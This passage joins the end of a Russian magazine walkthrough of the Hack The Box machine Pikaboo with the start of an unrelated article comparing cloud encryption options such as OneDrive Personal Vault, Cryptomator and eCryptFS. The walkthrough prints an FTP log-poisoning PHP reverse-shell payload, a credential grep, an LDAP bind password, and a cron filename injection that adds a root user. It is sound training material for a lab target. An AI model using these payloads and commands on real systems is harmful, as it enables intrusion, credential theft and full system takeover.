В этом слу­чае, если мы обра­тим­ся к  /img../test.png, сер­вер вмес­то того,


что­бы вер­нуть файл /web/data/images/test.png, выпол­нит пря­мую замену
али­аса и  попыта­ется вер­нуть /web/data/test.png, тем самым обхо­дя
каталог images.
Да­вай вос­поль­зуем­ся обхо­дом через каталог admin и  прос­каниру­ем
содер­жимое сай­та. Для  это­го мы будем ска­ниро­вать адрес /admin../. Так
как  при обра­щении к  стра­нице /admin про­исхо­дит редирект на  дру­гой сер‐­
вер, мы смо­жем прос­мотреть имен­но веб‑кон­тент внут­ренне­го сер­виса
на пор­те 81.

Справка: сканирование веба c ffuf


Что­бы най­ти скры­тое содер­жимое на  сай­тах, при­меня­ется ска­ниро­вание
методом перебо­ра катало­гов. Для  это­го мож­но исполь­зовать прог­раммы
вро­де dirsearch и DIRB.
Я пред­почитаю лег­кий и  очень быс­трый ffuf. При  запус­ке ука­жем сле‐­
дующие парамет­ры:
• -w — сло­варь (исполь­зуем directory-list-2.3-medium из набора SecLists);
• -t — количес­тво потоков;
• -u — URL;
• -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

Ко­ман­да получа­ется сле­дующая:

ffuf -u http://pikaboo.htb/admin../FUZZ -w /home/ralf/tmp/


wordlists/Content/dirs/files_interesting.txt -t 200

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

В резуль­тате я нашел нес­коль­ко инте­рес­ных фай­лов. Сре­ди них — очень важ‐­


ный файл server-status, в котором отра­жают­ся все зап­росы к веб‑сер­веру
Apache. Он и  рас­кры­вает нам при  обра­щении к  http://pikaboo.htb/
admin../server-status нез­накомые до это­го момен­та катало­ги. В том чис‐­
ле http://pikaboo.htb/admin../admin_staging/.

Со­дер­жимое фай­ла server-status

Стра­ница admin_staging

Мы наш­ли нес­коль­ко стра­ниц, на  которые можем перей­ти. Если заг­лянуть


в  Burp History, то мы уви­дим, что жела­емая стра­ница переда­ется в  качес­тве
зна­чения парамет­ра page. А  это веро­ятная уяз­вимость вклю­чения фай­лов,
которую сле­дует про­верить.

Зап­рос в Burp History

ТОЧКА ОПОРЫ
Уязвимость LFI
При тес­те Local File Inclusion мож­но прос­то отдать одно­му из ска­неров дирек‐­
торий спи­сок с соот­ветс­тву­ющи­ми наг­рузка­ми. Я для перебо­ра исполь­зовал
Burp Intruder со сво­ими сло­варя­ми (можешь поис­кать готовые на GitHub).
Пер­вым делом опре­деля­ем наг­рузку, с  помощью которой мож­но прос‐­
мотреть дос­тупный для  всех сис­темных поль­зовате­лей файл на  уда­лен­ном
хос­те. В  резуль­тате перебо­ра уда­лось про­читать файл /var/log/lastlog
через обход дирек­торий пос­ледова­тель­ностью ../../../../../.

Ре­зуль­тат ата­ки через Burp Intruder

На вто­ром эта­пе в най­ден­ную наг­рузку нуж­но под­став­лять самые важ­ные сис‐­


темные фай­лы, информа­ция из  которых может помочь нам прод­винуть­ся
даль­ше. Спи­сок опять же мож­но без проб­лем най­ти.

Ре­зуль­тат перебо­ра важ­ных фай­лов через LFI

В резуль­тате ата­ки получа­ем все­го пять дос­тупных для  прос­мотра фай­лов.


Информа­ция из них нам не осо­бен­но полез­на, но лог служ­бы FTP vsftpd.log
все же ока­жет нам немалую услу­гу.

От LFI к RCE
Есть нес­коль­ко спо­собов получить уда­лен­ное выпол­нение кода (RCE), имея
LFI, и  один из  них я сей­час покажу. Дело в  том, что мы можем зас­тавить
веб‑сер­вер обра­тить­ся к фай­лу логов служ­бы FTP и таким обра­зом кос­венно
выпол­нить туда запись. Нап­ример, если мы попыта­емся авто­ризо­вать­ся
от  лица поль­зовате­ля test_test_test, то эта стро­ка попадет в  этот лог.
Таким обра­зом, мы можем записать в файл код на PHP и, обра­тив­шись к это‐­
му фай­лу через веб‑сер­вер, выпол­нить его!
Да­вай авто­ризу­емся в служ­бе FTP, передав в качес­тве логина код, который
даст нам реверс‑шелл:

<?php exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.61/443 0>&1'");


?>

За­пись шел­ла через FTP-авто­риза­цию

Справка: реверс-шелл
Об­ратный шелл — это под­клю­чение, которое акти­виру­ет ата­куемая машина,
а  мы при­нима­ем и  таким обра­зом под­клю­чаем­ся к  ней, что­бы выпол­нять
коман­ды от  лица поль­зовате­ля, который запус­тил шелл. Для  при­ема соеди‐­
нения необ­ходимо соз­дать на  локаль­ной машине listener, то есть «слу‐­
шатель».
В таких слу­чаях при­годит­ся rlwrap  — readline-обо­лоч­ка, которая в  чис­ле
про­чего поз­воля­ет поль­зовать­ся исто­рией команд. Она обыч­но дос­тупна
в репози­тории дис­три­бути­ва.
В качес­тве самого лис­тенера при  этом мож­но исполь­зовать широко
извес­тный netcat.

rlwrap nc -lvp [port]

Ос­талось толь­ко обра­тить­ся к  нашему фай­лу логов, и  мы тут же получим


управле­ние над хос­том.

curl 'http://pikaboo.htb/admin../admin_staging/index.
php?page=../../../../..//var/log/vsftpd.log'

Ок­но лис­тенера netcat

Продолжение статьи

ВЗЛОМ ←
НАЧАЛО СТАТЬИ

HTB PIKABOO
ПЕНТЕСТИМ NGINX
И ПОВЫШАЕМ ПРИВИЛЕГИИ ЧЕРЕЗ LFI

ПРОДВИЖЕНИЕ
Ис­кать пути для  даль­нейше­го прод­вижения мы будем с  помощью скрип­тов
PEASS.

Справка: скрипты PEASS для Linux


Что делать пос­ле того, как  мы получи­ли дос­туп в  сис­тему от  име­ни поль‐­
зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и  повыше­ния при­виле­гий
может быть очень мно­го, как  в Linux, так и  в Windows. Что­бы соб­рать
информа­цию и  наметить цели, мож­но исполь­зовать Privilege Escalation
Awesome Scripts SUITE (PEASS)  — набор скрип­тов, которые про­веря­ют сис‐­
тему на авто­мате.
Что­бы вос­поль­зовать­ся скрип­том, его нуж­но сна­чала заг­рузить на локаль‐­
ный хост.

wget https://github.com/carlospolop/privilege-escalation-awesome-
scripts-suite/blob/master/linPEAS/linpeas.sh

Те­перь надо заг­рузить его на  уда­лен­ный хост. В  дирек­тории со  скрип­том
на локаль­ной машине запус­тим с помощью Python прос­той веб‑сер­вер. Пос‐­
ле выпол­нения этой коман­ды веб‑сер­вер будет прос­лушивать порт 8000.

python3 -m http.server

А теперь с  помощью того же wget на  целевой машине заг­рузим скрипт


с  локаль­ного хос­та на  уда­лен­ный. Пос­ле заг­рузки необ­ходимо дать фай­лу
пра­во на выпол­нение и выпол­нить скрипт.

wget http://[ip_локального_хоста]:8000/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

Скрипт выводит огромное количес­тво информа­ции, сре­ди которой мне уда‐­


лось обна­ружить сле­дующее:
• в пла­ниров­щике задач cron от име­ни root запус­кает­ся какой‑то скрипт;
• для локаль­ного хос­та прос­лушива­ется порт служ­бы LDAP — 389;
• в дирек­тории opt находим какой‑то про­ект, име­ющий репози­торий Git;
• а так­же находим хеш пароля для дос­тупа к стра­ницам Apache.

Пла­ниров­щик задач cron

От­кры­тые пор­ты

Об­наружен­ные репози­тории Git

Най­ден­ные хеши

Пер­вым делом я решил пос­мотреть на задачу в сron, так как этот путь может
нап­рямую при­вес­ти к высоким при­виле­гиям.

Со­дер­жимое фай­ла /usr/loca/bin/csvupdate_cron

Этот скрипт обра­баты­вает фай­лы CSV во  всех вло­жен­ных катало­гах дирек‐­
тории /srv/ftp/ с  помощью при­ложе­ния csvupdate. Я сра­зу уви­дел воз‐­
можность манипу­лиро­вать парамет­ром, но, так как  мы пока не  можем
работать с этим катало­гом, вер­немся к нему поз­же.

Со­дер­жимое катало­га /srv/ftp/

Груп­па и вла­делец содер­жимого намека­ют на то, что с этим катало­гом мож­но


работать, если авто­ризо­вать­ся по  FTP. Зна­чит, нам нуж­ны учет­ные дан­ные
поль­зовате­ля.

Поиск учетных данных


Пер­вым делом я поп­робовал переб­рать хеш в надеж­де, что пароль подой­дет
и  для поль­зовате­ля. Но  толь­ко хеш переб­рать не  уда­лось. Одна­ко у  нас
еще  остался репози­торий Git! Как  извес­тно, исходни­ки  — отличное мес­то,
что­бы выудить важ­ные дан­ные.
Я прос­то поис­кал все подс­тро­ки вро­де passw и secret, и это дало резуль‐­
тат.

grep -iR 'passw\|secret\|cred' /opt/pokeapi/*

Ис­комые подс­тро­ки из репози­тория

Ви­дим мно­го строк‑паролей в  фай­ле /opt/pokeapi/config/settings.py.


Если открыть и  прос­мотреть его, то мы най­дем учет­ные дан­ные для  служ­бы
LDAP. А это путь для даль­нейше­го прод­вижения!

Со­дер­жимое фай­ла settings.py

LDAP
LDAP (Lightweight Directory Access Protocol) — это про­токол, который исполь‐­
зует­ся для хра­нения и получе­ния дан­ных из катало­га с иерар­хичес­кой струк‐­
турой. Обыч­но к нему при­бега­ют для хра­нения информа­ции об орга­низа­ции,
ее акти­вах и  поль­зовате­лях. LDAP  — это  гиб­кое решение, которое мож­но
при­менять для пред­став­ления раз­ных сущ­ностей и их свой­ств.
Под­клю­чим­ся и  взгля­нем на  всю информа­цию, которую нам вер­нет
базовый каталог. Для под­клю­чения ука­жем ldapsearch сле­дующие парамет‐­
ры:
• -x — исполь­зовать прос­тую аутен­тифика­цию;
• -D — путь навига­ции для под­клю­чения;
• -w — пароль;
• -h — хост;
• -b — базовый путь, по которо­му выпол­няет­ся поиск.

ldapsearch -D "cn=binduser,ou=users,dc=pikaboo,dc=htb" -w
'J~42%W?PFHl]g' -h 127.0.0.1 -x -b "dc=pikaboo,dc=htb"

Свой­ства поль­зовате­ля pwnmeow

Мы получи­ли все свой­ства поль­зовате­ля pwnmeow, сре­ди которых есть


закоди­рован­ный пароль.

Па­роль поль­зовате­ля pwnmeow

Но под­клю­чить­ся по SSH с этим паролем не выш­ло. Ока­зыва­ется, флаг мож­но


было заб­рать сра­зу, так как его груп­па‑вла­делец — www-data.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ


За­то получен­ный пароль поз­воля­ет авто­ризо­вать­ся на  FTP. При­чем мы ока‐­
зыва­емся имен­но в нуж­ной дирек­тории, с пра­вом записи.

Под­клю­чение к служ­бе FTP

Те­перь вер­немся к  экс­плу­ата­ции уяз­вимос­ти, а  имен­но к  фай­лу /usr/loca/


bin/csvupdate_cron.

Со­дер­жимое фай­ла /usr/loca/bin/csvupdate_cron

В цик­ле вмес­то перемен­ной $d будут пооче­ред­но встав­лять­ся име­на катало‐­


гов из  дирек­тории /srv/ftp/. Так­же сто­ит обра­тить вни­мание на  фун­кцию
basename, которая вер­нет стро­ку пос­ле пос­ледне­го сле­ша, нап­ример:

basename '/asd/qwe/zxc/dsa' => 'dsa'

Здесь инте­рес­ная под­ста­нов­ка через сим­вол *. Вмес­то него в коман­ду будут


под­став­лять­ся фай­лы с рас­ширени­ем .csv. Если мы под­берем такое наз­вание
фай­ла, что­бы получил­ся кон­вей­ер команд, сис­тема прос­то выпол­нит их.
Слож­ность здесь в  том, что нуж­но при­думать такой спо­соб повыше­ния
при­виле­гий, что­бы в  коман­де не  встре­чались сле­ши. И  я нашел спо­соб  —
соз­дать нового поль­зовате­ля‑адми­нис­тра­тора вот такой коман­дой:

useradd -o -u 0 -g 0 -p `openssl passwd -1 ralf8888` ralf

Тут мы соз­даем поль­зовате­ля с UID и GID, рав­ными нулю (поль­зователь root),


с паролем ralf8888 и име­нем ralf. Тог­да имя фай­ла дол­жно быть таким:

"|useradd -o -u 0 -g 0 -p `openssl passwd -1 ralf8888` ralf ;.csv"

Соз­дание фай­ла через FTP

Дож­демся выпол­нения коман­ды. Как  толь­ко в  фай­ле /etc/passwd появит­ся


соз­данный поль­зователь, авто­ризу­емся и забира­ем флаг рута.

Со­дер­жимое фай­ла /etc/passwd

Флаг рута

Ма­шина прой­дена!
ТРЮКИ

ОБЛАКО
ПОД ЗАЩИТОЙ
Олег Афонин
Эксперт по мобильной
ТЕСТИРУЕМ CRYPTOMATOR криминалистике компании
«Элкомсофт»
И ДРУГИЕ aoleg@voicecallcentral.com

ШИФРУЮЩИЕ ФС

Соз­датели облачных фай­ловых хра­нилищ уве­ряют нас, что


не име­ют дос­тупа к поль­зователь­ским дан­ным, но регуляр­но
доказы­вают обратное. К  счастью, у  нас тоже есть козырь
в  рукаве  — это  шиф­рующие фай­ловые сис­темы, соз­данные
спе­циаль­но для шиф­рования дан­ных пофай­лово.

Хра­нение важ­ных фай­лов в обла­ке — удоб­ный и надеж­ный спо­соб обе­зопа‐­


сить дан­ные от  полом­ки компь­юте­ра или  выхода из  строя жес­тко­го дис­ка,
от  дей­ствий вирусов‑шиф­роваль­щиков и  даже от  собс­твен­ных оши­бок.
И если бес­плат­но мож­но получить лишь отно­ситель­но нем­ного мес­та в обла‐­
ке с весь­ма огра­ничен­ными воз­можнос­тями защиты, то под­писка на офис­ный
пакет от  Microsoft пре­дос­тавит сра­зу целый терабайт облачно­го прос­транс‐­
тва.
В то же вре­мя все, что ты сох­раня­ешь в  обла­ке, ста­новит­ся дос­тупным
со сто­роны. Вла­делец облачно­го сер­виса смо­жет (и будет!) ска­ниро­вать твои
фай­лы в  поис­ках зап­рещен­ного кон­тента, а  в некото­рых слу­чаях  — и  прос­то
для  того, что­бы показать тебе более релеван­тную рек­ламу. Если же дан­ные
тво­ей учет­ной записи попадут в  руки зло­умыш­ленни­ка, то и  твои докумен­ты
и  фотог­рафии могут быть исполь­зованы про­тив тебя. При­меров более чем
дос­таточ­но: здесь и Celebgate, и поваль­ные уволь­нения со сто­роны работо‐­
дате­лей, узнавших, что их работ­ницы могут носить (а могут и  не носить)
купаль­ники, и мно­гочис­ленные попыт­ки шан­тажа.
Как подоб­ные слу­чаи соот­носят­ся с утвер­жде­ниями вла­дель­цев облачных
сер­висов, что все дан­ные в  обла­ке надеж­но зашиф­рованы? Дей­стви­тель­но
ли дан­ные зашиф­рованы, а если да, то почему так час­ты утеч­ки? Дело в том,
что шиф­рование шиф­рованию рознь и  защища­ют раз­ные спо­собы шиф‐­
рования от совер­шенно раз­ных угроз.

КАК И ОТ ЧЕГО ЗАЩИЩЕНЫ ДАННЫЕ В ОБЛАКЕ


Каж­дый облачный про­вай­дер счи­тает сво­им дол­гом сооб­щить о том, нас­коль‐­
ко серь­езно зашиф­рованы дан­ные и нас­коль­ко безопас­но их хра­нить имен­но
в  его обла­ке. Хороший при­мер  — статья Encryption at  rest in  Google Cloud,
в которой Google рас­ска­зыва­ет о мно­гос­лой­ной схе­ме шиф­рования с исполь‐
зовани­ем AES-256. В  то же вре­мя Google спо­кой­но ска­ниру­ет перепис­ку
поль­зовате­лей, фотог­рафии и  даже пароли, что вызыва­ет логич­ный воп­рос:
а в самом ли деле дан­ные зашиф­рованы?
Дан­ные в облачных сер­висах Amazon, Microsoft OneDrive, Dropbox и Google
дей­стви­тель­но хра­нят­ся в  виде зашиф­рован­ных бло­ков, рас­пре­делен­ных
не  толь­ко по  раз­ным дис­кам, но  и по  раз­ным физичес­ким сер­верам, час­то
раз­несен­ных геог­рафичес­ки, а  в слу­чае с  Apple iCloud  — рас­сре­дото­чен­ных
по раз­ным про­вай­дерам. При ска­чива­нии фотог­рафий, фай­лов и дру­гих дан‐­
ных из  iCloud сис­тема выда­ет ссыл­ки на  бло­ки дан­ных, рас­положен­ные
на  сер­верах то Microsoft, то Google, а  для аме­рикан­ских поль­зовате­лей
попада­ются ссыл­ки и  на инфраструк­туру AT&T. Разуме­ется, вла­делец
облачно­го сер­виса не  хочет, что­бы про­вай­деры сер­верной инфраструк­туры
(как видим, это не всег­да одно и то же лицо) мог­ли получить дос­туп к дан­ным.
Соот­ветс­твен­но, дан­ные шиф­руют­ся по бло­кам, а клю­чи шиф­рования хра­нят‐­
ся уже на собс­твен­ных сер­верах вла­дель­ца облачно­го сер­виса.
Та­кой спо­соб шиф­рования поз­воля­ет защитить дан­ные от  несан­кци­они‐­
рован­ного дос­тупа вла­дель­ца сер­верной инфраструк­туры, а  так­же от  зло‐­
умыш­ленни­ков, получив­ших уда­лен­ный или  физичес­кий дос­туп к  сер­веру.
Дей­стви­тель­но, у зло­умыш­ленни­ка не получит­ся рас­шифро­вать дан­ные с сер‐­
вера без клю­чей шиф­рования, которые хра­нят­ся сов­сем в дру­гом мес­те.
От­сюда же сле­дует, что вла­делец облачно­го сер­виса, име­ющий в  сво­ем
рас­поряже­нии клю­чи шиф­рования, может лег­ко рас­шифро­вать все дан­ные,
сох­ранен­ные в  его обла­ко. Пос­тавим здесь заруб­ку на  память; к  это­му
момен­ту мы еще вер­немся.
Из это­го пра­вила есть исклю­чения. Наибо­лее извес­тное из  них  — тех‐­
нология «сквоз­ного шиф­рования», которую исполь­зует Apple для  защиты
отдель­ных катего­рий дан­ных (нап­ример, сох­ранен­ных паролей, тво­ей
медицин­ской информа­ции и исто­рии бра­узе­ра Safari; фотог­рафии и докумен‐­
ты в чис­ло таких дан­ных не вхо­дят, чему есть дос­таточ­но све­жее под­твержде‐­
ние: фо­тог­рафии дол­гое вре­мя уте­кали из  нес­коль­ких сотен учет­ных
записей). К таким дан­ным дос­тупа не име­ет даже сама ком­пания Apple, а для
их рас­шифров­ки нужен отдель­ный ключ, который рас­шифро­выва­ется
с  помощью кода бло­киров­ки экра­на одно­го из  при­вязан­ных устрой­ств (нап‐­
ример, iPhone или  iPad) или  пароля на  вход в  компь­ютер с  macOS. Я вижу
здесь опре­делен­ное лукавс­тво Apple. С  одной сто­роны, такие дан­ные и  в
самом деле защище­ны, а  ком­пания Apple не  толь­ко не  рас­шифро­выва­ет их
сама, но и не выда­ет пра­воох­ранитель­ным орга­нам даже через суд.
С дру­гой же сто­роны, единс­твен­ное, что защища­ет эти дан­ные, — это доб‐­
рая воля самой ком­пании Apple: сто­ит ей захотеть, как  тут же будет соз­дан
инс­тру­мент (если, конеч­но, он уже не соз­дан), переби­рающий все воз­можные
ком­бинации кодов бло­киров­ки экра­на (для боль­шинс­тва поль­зовате­лей
это  шесть цифр, реже  — все­го четыре). Более того, если зло­умыш­ленник
или работ­ник спец­служб узна­ет код бло­киров­ки экра­на при­вязан­ного к iCloud
устрой­ства, то «сквоз­ное шиф­рование» совер­шенно не  помеша­ет ска­чать
и  рас­шифро­вать эти дан­ные. Мне кажет­ся, что если это  и исклю­чение, то
из раз­ряда тех, которые толь­ко под­твержда­ют пра­вило.
Кста­ти, Google, в отли­чие от Apple, твои пароли «сквоз­ным шиф­ровани­ем»
не защища­ет (по край­ней мере с нас­трой­ками по умол­чанию: Google то раз‐­
решал, то зап­рещал, то сно­ва раз­решал опци­ональ­но защищать сох­ранен­ные
пароли отдель­ным мас­тер‑клю­чом). В  доказа­тель­ство при­веду скрин­шот
одной из  тес­товых учет­ных записей: Google авто­мати­чес­ки прос­каниро­вал
сох­ранен­ные пароли и срав­нил их с дан­ными из уте­чек.

Действительно конфиденциальные облака


Су­щес­тву­ют облачные про­вай­деры, которые ничего не зна­ют и не хотят знать
о  том, какой имен­но кон­тент хра­нят на  их сер­верах поль­зовате­ли. Широко
известен про­вай­дер Mega, офи­циаль­ная полити­ка которо­го такова: «Дан­ные
в  сер­висе Mega зашиф­рованы на  сто­роне кли­ента с  исполь­зовани­ем алго‐
рит­ма AES. Пос­коль­ку Mega не зна­ет клю­чей шиф­рования заг­ружа­емых фай‐­
лов, рас­шифро­вать и  прос­мотреть их содер­жимое невоз­можно. Сле­дова‐­
тель­но, ком­пания Mega не может нес­ти ответс­твен­ность за содер­жимое заг‐­
ружен­ных фай­лов». В  то же вре­мя Mega час­то исполь­зуют для  того, что­бы
поделить­ся фай­лами, для  чего генери­рует­ся ссыл­ка; в  ссыл­ке содер­жится
ключ, поз­воля­ющий рас­шифро­вать содер­жимое фай­ла. Это  поз­воля­ет пра‐­
вооб­ладате­лям отсле­живать нелегаль­ный кон­тент и  тре­бовать у  Mega его
уда­лить.

Под­ведем итог. Популяр­ные облачные про­вай­деры (Google, Apple, Microsoft,


Dropbox, Amazon) сог­ласны хра­нить твои фай­лы, фотог­рафии и  докумен­ты,
и  эти дан­ные дей­стви­тель­но зашиф­рованы; воп­рос лишь в  том, кто кон­тро‐­
лиру­ет клю­чи шиф­рования. Для  боль­шей час­ти дан­ных клю­чи шиф­рования
находят­ся в  руках у  самих облачных сер­висов, а  это зна­чит, что дос­туп
к содер­жимому как для них самих, так и для взлом­щика, получив­шего дос­туп
к  тво­им учет­ным дан­ным, совер­шенно проз­рачен. Имен­но эту проб­лему  —
кон­троль клю­чей шиф­рования — мы и будем решать.

ВАРИАНТ РЕШЕНИЯ: КОСТЫЛЬ ONEDRIVE PERSONAL VAULT


OneDrive Personal Vault  — в  перево­де наз­ванный «лич­ный сейф OneDrive»  —
допол­нитель­ный уро­вень защиты, который Microsoft пред­лага­ет под­писчи­кам
на  Office 365 (без под­писки в  «лич­ный сейф» мож­но помес­тить толь­ко три
фай­ла). В  рек­ламе говорит­ся: «Лич­ный сейф OneDrive защищен средс­тва­ми
про­вер­ки лич­ности, бла­года­ря чему вы можете сох­ранять в  обла­ке самые
важ­ные фай­лы, не бес­поко­ясь о воз­можнос­ти несан­кци­они­рован­ного дос­тупа
к ним». Microsoft пред­лага­ет хра­нить в нем самые важ­ные докумен­ты — «циф‐­
ровые копии сво­его пас­порта, водитель­ско­го удос­товере­ния и дру­гих важ­ных
докумен­тов». Обе­щает­ся «повышен­ная безопас­ность»: по мне­нию ком­пании,
«лич­ный сейф уси­лива­ет и  без того надеж­ную защиту OneDrive с  помощью
шиф­рования фай­лов, отсле­жива­ния подоз­ритель­ных дей­ствий, поис­ка
вирусов, обна­руже­ния прог­рамм‑шан­тажис­тов и вос­ста­нов­ления дан­ных».
Очень мно­го кра­сивых слов, которые вызыва­ют доверие и  желание
защитить важ­ные дан­ные. Фак­тичес­ки же нам пред­лага­ется обыч­ная «запаро‐­
лен­ная пап­ка», для  дос­тупа к  которой тебе пот­ребу­ется ввес­ти пароль
от  учет­ной записи (тот же самый пароль, который исполь­зует­ся для  дос­тупа
к  основно­му хра­нили­щу OneDrive) и  прой­ти про­вер­ку по  методу двух­фактор‐­
ной аутен­тифика­ции (ту же самую про­вер­ку, которая нуж­на… ну, ты понял).
Мы иссле­дова­ли безопас­ность «лич­ного сей­фа OneDrive» и не обна­ружи‐­
ли никаких допол­нитель­ных механиз­мов защиты или  кон­тро­ля дос­тупа.
В  статье «Ана­лиз дан­ных из  учет­ных записей Microsoft» есть упо­мина­ние
о  том, что для  вхо­да в  «сейф» не  тре­бует­ся даже пов­торной авто­риза­ции,
дос­таточ­но обыч­ного токена дос­тупа в OneDrive.
Вы­вод: «лич­ный сейф OneDrive» име­ет отно­шение к  мар­кетин­гу, рек­ламе
и  зараба­тыва­нию денег, но  не име­ет ни  малей­шего отно­шения к  реаль­ной
безопас­ности тво­их дан­ных. Все фай­лы, которые ты помес­тишь в  «лич­ный
сейф», будут точ­но так же дос­тупны и  Microsoft, и  любому зло­умыш­ленни­ку,
получив­шему дос­туп к тво­ей учет­ной записи.

ВАРИАНТ РЕШЕНИЯ: КРИПТОКОНТЕЙНЕР В ОБЛАКЕ


До появ­ления крип­тогра­фичес­ких фай­ловых сис­тем широко извес­тным
в узких кру­гах был такой вари­ант защиты дан­ных от любопыт­ных глаз: дан­ные
сох­раня­ют внутрь фай­ла крип­токон­тей­нера, который, в  свою оче­редь,
помеща­ют в син­хро­низи­руемую с обла­ком пап­ку. Этот вари­ант дает дей­стви‐­
тель­но неп­робива­емую защиту, одна­ко и недос­татков у него хва­тает.
Нес­табиль­ная син­хро­низа­ция  — основная проб­лема это­го решения.
Как  пра­вило, файл, содер­жащий крип­токон­тей­нер, дос­таточ­но объ­емный,
и син­хро­низи­ровать его нуж­но не целиком, а по бло­кам. В то же вре­мя блоч‐­
ная син­хро­низа­ция появи­лась в  облачных сер­висах не  так дав­но, при­чем
в некото­рых из них она дос­тупна толь­ко для плат­ных поль­зовате­лей. В отсутс‐­
твие блоч­ной син­хро­низа­ции при  каж­дом добав­лении или  изме­нении фай­ла
в  крип­токон­тей­нере весь кон­тей­нер целиком дол­жен будет син­хро­низи‐­
ровать­ся с обла­ком; это мед­ленно и неудоб­но.
Вто­рая проб­лема  — неудобс­тво исполь­зования на  нес­коль­ких устрой‐­
ствах: под­клю­чить крип­токон­тей­нер в обла­ке к смар­тфо­ну или план­шету будет
труд­но, а поль­зовать­ся им воз­можно толь­ко в руч­ном режиме. В этот же пункт
запишем неудобс­тво инкре­мен­тно­го резер­вно­го копиро­вания кон­тей­нера.
На­конец, мак­сималь­ный раз­мер фай­ла в раз­ных облачных сер­висах так­же
огра­ничен и  варь­иру­ется меж­ду  5  Гбайт и  250  Гбайт в  зависи­мос­ти от  типа
учет­ной записи и, собс­твен­но, про­вай­дера.
Все эти проб­лемы реша­ет шиф­рование каж­дого фай­ла в  отдель­нос­ти  —
и имен­но этим занима­ются крип­тогра­фичес­кие фай­ловые сис­темы.

ПРАВИЛЬНЫЙ ВАРИАНТ: КРИПТОГРАФИЧЕСКИЕ ФАЙЛОВЫЕ


СИСТЕМЫ
Ре­шить проб­лему при­ват­ности и  безопас­ности сох­раня­емых в  обла­ке (и
не толь­ко) фай­лов поз­воля­ет класс про­дук­тов, который мож­но оха­рак­теризо‐­
вать тер­мином «крип­тогра­фичес­кие фай­ловые сис­темы». В отли­чие от шиф‐­
рования дис­ка (к при­меру, LUKS, VeraCrypt или BitLocker), крип­тогра­фичес­кие
фай­ловые сис­темы шиф­руют и рас­шифро­выва­ют дан­ные «на лету» на уров­не
отдель­ных фай­лов и  папок, сох­раняя при  этом проз­рачность дос­тупа
для  самого поль­зовате­ля. Цель и  смысл сущес­тво­вания крип­тогра­фичес­ких
фай­ловых сис­тем — защитить фай­лы от несан­кци­они­рован­ного дос­тупа, если
зло­умыш­ленник получит физичес­кий дос­туп к  тво­ему дис­ку либо взло­мает
твою облачную учет­ную запись.
С целью син­хро­низа­ции в  обла­ко подой­дет далеко не  каж­дая крип­тогра‐­
фичес­кая фай­ловая сис­тема. Так, популяр­ная сре­ди поль­зовате­лей Linux сис‐­
тема eCryptFS (о ней мы еще  погово­рим) под­держи­вает­ся толь­ко в  Linux;
о  сущес­тво­вании кли­ентов для  Windows, а  тем более для  мобиль­ных плат‐­
форм мне неиз­вес­тно. Фай­ловая сис­тема EncFS, работа­ющая по  прин­ципу
FUSE, обла­дает чуть более широкой сов­мести­мостью, но  удоб­ной син­хро‐­
низа­ции с  обла­ком с  мобиль­ных устрой­ств не  будет все рав­но. Схо­жими
недос­татка­ми обла­дают и дру­гие фай­ловые сис­темы FUSE, которых для Linux
сущес­тву­ет доволь­но мно­го. Эти огра­ниче­ния обхо­дят, пожалуй, толь­ко два
про­екта: бес­плат­ный (для дес­ктоп­ных ОС), дос­тупный в  исходных кодах
Cryptomator и плат­ный, дос­тупный по под­писке Boxcryptor.

CRYPTOMATOR ИЛИ ECRYPTFS?


По­дой­дет ли eCryptFS, если тебе не  нуж­на под­дер­жка дру­гих ОС? Или  же
выбор в  любом слу­чае делать в  поль­зу Cryptomator? Это  воп­рос спор­ный,
у той и дру­гой ФС есть силь­ные и сла­бые сто­роны.

Совместимость
Как уже упо­мина­лось, eCryptFS есть в  Linux и  отсутс­тву­ет на  дру­гих плат‐­
формах. Cryptomator дос­тупен прак­тичес­ки на  всех рас­простра­нен­ных дес‐­
ктоп­ных и мобиль­ных плат­формах.

Ограничения на длину имен файлов и папок


В боль­шинс­тве сов­ремен­ных ОС ты можешь исполь­зовать име­на фай­лов
дли­ной до  255  зна­ков ASCII (при исполь­зовании сим­волов Unicode  — мень‐­
ше). Крип­тогра­фичес­кие фай­ловые сис­темы могут либо оста­вить име­на
как есть (зло­умыш­ленник уви­дит наз­вания фай­лов), либо зашиф­ровать име­на
фай­лов и  папок (при этом мак­сималь­ная дли­на име­ни фай­ла будет мень­ше;
для  eCryptFS  — 143  сим­вола ASCII), либо исполь­зовать допол­нитель­ные
ухищ­рения, сох­раняя ори­гиналь­ное длин­ное имя фай­ла в  метадан­ных шиф‐­
рования или, как  дела­ет Cryptomator, в  отдель­ном фай­ле. Забегая впе­ред,
добав­лю, что фай­лы с длин­ными име­нами Cryptomator помеща­ет в отдель­ные
пап­ки, в которых соз­дает фай­лы contents.c9r (содер­жимое фай­ла) и name.c9s
(его имя в зашиф­рован­ном виде).

Скорость работы
Ско­рость дос­тупа к зашиф­рован­ным пап­кам будет ниже, чем к обыч­ным; это в
какой‑то мере ожи­даемо. Одна­ко в  боль­шинс­тве сов­ремен­ных крип­тогра‐­
фичес­ких фай­ловых сис­тем ско­рость дос­тупа к  зашиф­рован­ным фай­лам
пада­ет катас­тро­фичес­ки. Это  свя­зано не  столь­ко с  самим фак­том шиф‐­
рования (аппа­рат­ное уско­рение AES прак­тичес­ки не  замед­ляет работу),
сколь­ко с нак­ладны­ми рас­ходами. Для каж­дого фай­ла нуж­но соз­дать заголо‐­
вок (eCryptFS) или файл‑ком­пань­он (Cryptomator), в котором будут сох­ранены
метадан­ные шиф­рования; ког­да его откры­ваешь, соот­ветс­твен­но, этот
заголо­вок или отдель­ный файл нуж­но про­читать и обра­ботать. Если речь идет
об  одном круп­ном фай­ле  — падение про­изво­дитель­нос­ти отно­ситель­но
невели­ко, но  при работе с  мно­жес­твом мел­ких (а фотог­рафии и  докумен­ты
отно­сят­ся как раз к таким) ско­рость дос­тупа пада­ет в разы. От это­го стра­дают
как  eCryptFS, так и  Cryptomator; пос­ледний даже в  нес­коль­ко боль­шей сте‐­
пени, если речь идет о  мно­жес­тве мел­ких фай­лов с  длин­ными име­нами
(напом­ню, для  таких фай­лов соз­дают­ся отдель­ные пап­ки и  фай­лы‑ком­пань‐­
оны).

Возможность сменить пароль


В той реали­зации шиф­рования eCryptFS, которую исполь­зуют популяр­ные
